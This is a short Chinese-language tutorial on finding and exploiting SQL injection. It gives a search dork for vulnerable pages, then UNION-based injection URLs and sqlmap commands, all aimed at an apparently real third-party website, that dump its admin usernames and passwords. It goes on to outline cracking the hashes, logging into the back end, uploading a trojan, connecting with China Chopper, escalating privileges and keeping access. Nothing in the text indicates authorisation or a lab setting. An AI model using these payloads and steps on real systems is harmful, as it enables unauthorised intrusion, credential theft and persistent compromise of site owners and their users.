SQL注入挖洞教程
- 掛上代理。訪問谷歌
A inurl:news-detail.php?id=
- 添加單引號。確認是否存在SQL注入漏洞
http://belbana.com/news-detail.php?id=3’
3構建URL查詢數據庫名字。
http://belbana.com/news-detail.php?id=3%20and%201=2 UNION SELECT 1,2,3,user(),5,6,7,8,database(),10,11,12
4 構建URL查詢數據表名字
http://belbana.com/news-detail.php?id=3%20and%201=2 UNION SELECT 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12 from information_schema.tables where table_schema=0x49443134383939345f636d73
5 構建URL,查詢字段名稱。上圖發現admin是管理員用戶表
6 查詢數據。
http://belbana.com/news-detail.php?id=3%20and%201=2 UNION SELECT 1,2,3,4,5,6,7,8,concat(login,0x2d,paswoord),10,11,12 from admin
- 在線解密
如果是加了密的密碼。可以在這裏解密。
到這裏SQL注入已經完成了。
8 找後臺登錄地址,用找到的用戶名和密碼進行登錄後臺。登錄後查找是否有代碼編輯、或者在線編輯器、或者文件上傳等、上傳木馬、中國菜刀連上去、提權、權限維持、書寫滲透測試報告
附上sqlmap教程:
- 自己的電腦安裝sqlmap。
安裝地址是:https://github.com/sqlmapproject/sqlmap 這裏有教程。建議用google瀏覽器打開。直接翻譯看的明白
2.
命令:
sqlmap.py -u "http://belbana.com/news-detail.php?id=3"
sqlmap.py -u "http://belbana.com/news-detail.php?id=3"--current-dbs #查看當前數據庫
sqlmap.py -u "http://belbana.com/news-detail.php?id=3" --dbs #查看所有的數據庫
sqlmap.py -u "http://belbana.com/news-detail.php?id=3" -D’ID148994_cms ’--tables #查看錶
sqlmap.py -u "http://belbana.com/news-detail.php?id=3" -D’ID148994_cms ’-T”admin” --columns #查看admin表的字段
sqlmap.py -u "http://belbana.com/news-detail.php?id=3" -D’ID148994_cms ’-T”admin”-C’login,paswoord’ --dump #打印管理員表的數據,自動解密
"http://belbana.com/news-detail.php?id=3"--is-dba #判斷是否是數據庫管理員